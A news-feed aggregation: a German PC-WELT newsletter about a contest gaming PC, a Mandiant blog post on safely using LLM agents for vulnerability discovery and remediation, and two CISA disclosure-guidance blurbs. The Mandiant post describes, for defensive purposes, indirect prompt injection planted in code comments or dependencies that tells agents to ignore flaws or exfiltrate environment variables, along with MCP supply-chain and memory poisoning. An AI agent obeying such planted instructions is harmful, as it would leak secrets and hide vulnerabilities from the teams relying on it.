    Hallo, ich bin der Michi, willkommen zur dritten Ausgabe des HMX-6-Newsletters. Diese Woche verraten wir endlich, welcher Prozessor die HMX 6 antreibt, und klären wichtige Fragen zur Höllenmaschine in unserer FAQ. Außerdem reisen wir zurück ins Jahr 2008, als die Höllenmaschine 3 mit einem Gesamtwert von 30.000 Euro einen Rekord aufstellte. Wenn ihr keine Ausgabe verpassen wollt, könnt ihr den Newsletter kostenlos abonnieren – aber vergesst nicht, die Anmeldung via E-Mail zu bestätigen. Viel Spaß beim Lesen!

    Hier geht es direkt zum Gewinnspiel der HMX 6 im Gesamtwert von 40.000 Euro.

    Neuer Leak, CPU und Balkonkraftwerk der HMX 6 vorgestellt

    Die internen Leaks hören nicht auf, jetzt hat Jérémie auch noch durchgestochen, dass wir einen Tisch-PC im Helo-Style bauen. Ich habe mit dem Kollegen schon ein ernstes Wörtchen gesprochen – jetzt sollte erst einmal nichts mehr durchsickern.

    Einige von euch hatten vielleicht auf einen Threadripper gehofft. Für eine Höllenmaschine steht aber maximale Gaming-Leistung an erster Stelle – deshalb fiel unsere Wahl auf den aktuell schnellsten Gaming-Prozessor von AMD. Aber keine Angst, auch für professionelle Anwendungen wie 3D-Rendering, Softwareentwicklung, Simulationen oder KI-Workloads bringt der AMD Ryzen 9 9950X3D2 Dual Edition genug Rechenleistung mit. Hier findet ihr alle Informationen zur HMX-6-CPU – inklusive des Wakü-Blocks.

    Ein Thema, das mich seit der ersten Höllenmaschine verfolgt, ist der hohe Stromverbrauch. Zu den klassischen Kommentaren aus der Community gehört das eigene Atomkraftwerk, das für den Betrieb notwendig ist. Aber wir gehen ja mit der Zeit, deswegen kommt die HMX 6 mit dem Balkonkraftwerk Zendure SolarFlow 2400 Pro, das mit seinen vier PV-Modulen fast 2700 Watt Peak bietet. Zum System gehört außerdem ein 2,4-kWh-Akku, damit der Gewinner der HMX 6 den tagsüber erzeugten Strom auch abends oder nachts nutzen kann. Dass ich irgendwann einmal ein Balkonkraftwerk zu einer Höllenmaschine legen würde, hätte ich vor 20 Jahren übrigens selbst nicht geglaubt – da kam der Strom noch aus der Steckdose und war noch vergleichsweise günstig.

    Ihr habt Fragen zur aktuellen Höllenmaschine? Dann helfen euch unsere HMX-6-FAQ bestimmt weiter. Und wenn ihr sehen wollt, was hinter den Kulissen passiert, schaut auch mal bei Instagram vorbei – dort tanzt aktuell der Bär im Kettenhemd.

    HMX 6: Odyssee Michi und Kris

    PC-WELT

    Rückblick: Die Höllenmaschine 3 war 30.000 Euro wert – Rekord

    Mein Lieblingsspruch „Nach der Höllenmaschine ist vor der Höllenmaschine” hat hier seinen Ursprung: Die rasant steigenden Teilnehmerzahlen beim Gewinnspiel erlaubten es mir, direkt nach der HM2-Verlosung die Planung für die dritte Höllenmaschine anzugehen. So konnte ich die öffentlichen Auftritte der HM3 auf den Computer-Messen CeBIT und Hobbytronic generalstabsmäßig planen.

    Heiko wurde wieder mit einem Casemod beauftragt, für die Bemalung sorgte die damalige Szenengröße „old_airbrush“. Das HM3-Gehäuse kostete insgesamt 6000 Euro. Die Kosten in die Höhe trieben auch das erstmals eingeführte Software-Paket für 5000 Euro und der Profi-Monitor Eizo SX3031W für 2500 Euro. Den Löwenanteil verschlang allerdings die zentrale Hardware:

    Die HDDs kosteten inklusive Adaptec-Controller über 4000 Euro. Die beiden Intel Core 2 Extreme QX9775 waren mit 2600 Euro kostspieliger als die beiden Dual-GPU-Karten Nvidia Geforce 9800 GX2 – das waren noch Zeiten. Der innovative Phasenwechselkühler von Coolit Systems war mit 4000 Euro auch kein Schnäppchen, hat aber funktioniert. Als ich damals die Kalkulation fertig hatte, musste ich selbst zweimal hinschauen. 30.000 Euro für einen PC – das war 2008 schon ziemlich verrückt.

    Wer noch mehr über die dritte Höllenmaschine erfahren will, etwa über den Netzteil-Prototypen von Thermaltake mit 2000 Watt, sollte den Beitrag “Vor 18 Jahren: Die Höllenmaschine 3 ” lesen.

    PC-WELT HĂśllenmaschine 3
    Hoellenmaschien e 3 aus dem Jahr 2008

    PC-WELT

    Nvidia bringt neue Karten auf den Markt, RAM bleibt bis 2030 teuer

    Will uns Nvidia trollen? Mit den „GeForce Trading Cards: Series 1“ hat Nvidia Sammelkarten vorgestellt, auf denen unter anderem historische Grafikkarten abgebildet sind – echte, bezahlbare Grafikkarten wären mir lieber.

    Indirekt auf Nvidias Kappe gehen auch die galoppierenden Speicherpreise. Laut der koreanischen Branchenwebsite The Elec wird sich daran wohl bis 2030 nichts ändern. Erst dann könne das Angebot die Nachfrage befriedigen. Die Prognosen beruhen auf aktuellen Zahlen, wonach die Kunden derzeit das vier- bis fünffache des Angebots fordern. Erst 2030 könnte die Produktion damit Schritt halten – oder die KI-Blase platzt schon vorher.

    Schon wieder Lego: Im Subreddit Legoleak ist ein Bausatz für den Arcade-Automaten “Donkey Kong” aufgetaucht. Ich weiß noch, wie ich damals als Schüler mit Donkey Kong so manche Mark verdaddelt habe. Laut dem Reddit-Post soll der Bausatz – falls das kein KI-generierter Fake ist – aus 1367 Bauteilen bestehen und 200 Dollar kosten. Shut up and take my money.

    Donkey Kong Arcade
    Reddit

    Aktuell läuft übrigens auf unserer Website die “PC-WELT Upgrade-Woche”, mit Ratgebern, Tipps und Kaufberatungen rund um das Thema Upgrade. Schaut gerne vorbei.

    Vielen Dank fĂźrs Lesen!

    Kommende Woche steht ein Termin an, auf den ich mich besonders freue: Gemeinsam mit Kris besuche ich unseren Modder Stefan. Ich bin gespannt, wie weit der Bau des Tisch-PCs inzwischen fortgeschritten ist. Außerdem reisen wir zurück ins Jahr 2012 zur Höllenmaschine 4. Wenn ihr nichts verpassen wollt, abonniert den kostenlosen HMX-6-Newsletter – und denkt daran, eure Anmeldung per E-Mail zu bestätigen. Ich freue mich, wenn ihr nächste Woche wieder dabei seid. Bis dahin wünsche ich euch eine gute Zeit! Euer Michi.

    ]]>         <![CDATA[Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management]]> https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/ https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/ Thu, 16 Jul 2026 16:23:24 +0200 📰 IT Security Nachrichten tsecurity.de

    Written by: Jules Czarniak

    Introduction 

    As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 

    To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. 

    In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. 

    Establish Operational Guardrails to Safely Deploy AI Agents

    To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the NIST AI Risk Management Framework (RMF) and the OWASP Top 10 for LLMs provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.

    Frameworks like Google’s Secure AI Framework (SAIF) and Google’s approach to secure AI Agents provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:

    • Pre-agent data security and Defense-in-Depth: Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as Model Armor or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.

    • Cloud provider limitations and zero data retention (ZDR): Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.

    • Workload isolation: Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.

    • Red Teaming: Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.

    • Least-Privileged Machine Identities and Human Controllers: While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. This enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.

    • Supply chain resilience for skills: As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.

    • Toxic flow analysis (TFA) and Observable Actions: The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity before deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.

    Demystifying AI image1

    Figure 1: Visual representation of an isolated AI agent environment using SAIF mechanisms

    By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.

    The need for human-led threat modeling

    While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).

    While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.

    Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: why does that microservice possess broad database read permissions in the first place? 

    Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the Mandiant Threat Modeling Security Service to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.

    Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).

    Track 1: Enterprise Vulnerability Management

    Foundational security and discovery 

    While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.

    Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like Wiz can be used to map this initial footprint.

    Risk-based vulnerability management 

    Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.

    A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:

    Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)

    The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:

    • Vulnerability severity (S_vuln): The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.

    • Asset context (S_asset): A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.

    • Threat context (S_threat): The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.

    An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.

    Demystifying AI image5

    Figure 2: Integration points of a risk-based vulnerability management (RBVM) program.

    Containment and Observability

    Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.

    A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.

    For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.

    Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like Supply-chain Levels for Software Artifacts (SLSA) across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as Google Assured Open Source Software (OSS) or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.

    To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.

    Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.

    Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.

    Demystifying AI image8

    Figure 3: Structural containment and observability architecture

    Track 2: Product Security & Development (1P Code)

    Deterministic and probabilistic tooling

    Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.

    While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.

    Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.

    Demystifying AI image4

    Figure 4: Deterministic SAST scanners vs. probabilistic LLMs

    Binary and architectural oracles

    Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.

    Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.

    However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.

    Demystifying AI image3

    Figure 5: Evaluating vulnerabilities against binary vs. architectural oracles

    Targeted deployment and human impact

    Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.

    Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.

    Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:

    • Memory-unsafe codebases: Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).

    • Systems highly exposed to outside content: First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.

    • Shared internal libraries and utilities: Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.

    • Foundational security boundaries: Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.

    To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.

    However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.

    This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.

    When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.

    Demistiying Image 6 New

    Figure 6: Flowchart outlining the targeted LLM deployment and triage workflow.

    Remediation and hardening

    LLM-assisted code remediation

    A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include CodeMender, although as of time of writing, it is not publicly available.

    IDE-integrated method 

    This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.

    • Localized scope: The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.

    • Human-in-the-loop: The developer reviews the AI-generated patch before the code is committed.

    • Managing false positives: Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.

    CI/CD runner method 

    The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.

    • Restricted execution and deterministic validation: Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.

    In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.

    Post-deployment controls 

    Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:

    • Automated rollbacks: Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.

    • Mitigating model drift: Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.

    • Compliance and auditability: If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.

    demistifying image 7

    Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.

    Conclusion

    Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.

    Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. 

    As a long-term strategy aligned with NSA guidance on Software Memory Safety, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.

    Acknowledgements

    This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.

    ]]>         <![CDATA[CISA folds its own hard-won lessons into coordinated vulnerability disclosure guidance]]> https://tsecurity.de/de/3673652/it-security-nachrichten/cisa-folds-its-own-hard-won-lessons-into-coordinated-vulnerability-disclosure-guidance/ https://tsecurity.de/de/3673652/it-security-nachrichten/cisa-folds-its-own-hard-won-lessons-into-coordinated-vulnerability-disclosure-guidance/ Thu, 16 Jul 2026 15:39:21 +0200 📰 IT Security Nachrichten tsecurity.de On Wednesday, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) and four allied cyber authorities published a guide telling software vendors how to build a coordinated vulnerability disclosure (CVD) program. Six days earlier, CISA published a blog post explaining how a security researcher had tried and failed, repeatedly, to report a serious problem to CISA itself. Read side by side, the two documents suggest the timing is deliberate. The guidance Suppliers should design a CVD … More →

    The post CISA folds its own hard-won lessons into coordinated vulnerability disclosure guidance appeared first on Help Net Security.

    ]]>         <![CDATA[CISA folds its own hard-won lessons into coordinated vulnerability disclosure guidance]]> https://tsecurity.de/de/3673641/it-security-nachrichten/cisa-folds-its-own-hard-won-lessons-into-coordinated-vulnerability-disclosure-guidance/ https://tsecurity.de/de/3673641/it-security-nachrichten/cisa-folds-its-own-hard-won-lessons-into-coordinated-vulnerability-disclosure-guidance/ Thu, 16 Jul 2026 15:39:04 +0200 📰 IT Security Nachrichten tsecurity.de On Wednesday, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) and four allied cyber authorities published a guide telling software vendors how to build a coordinated vulnerability disclosure (CVD) program. Six days earlier, CISA published a blog post explaining how…

    Read more →

    The post CISA folds its own hard-won lessons into coordinated vulnerability disclosure guidance appeared first on IT Security News.

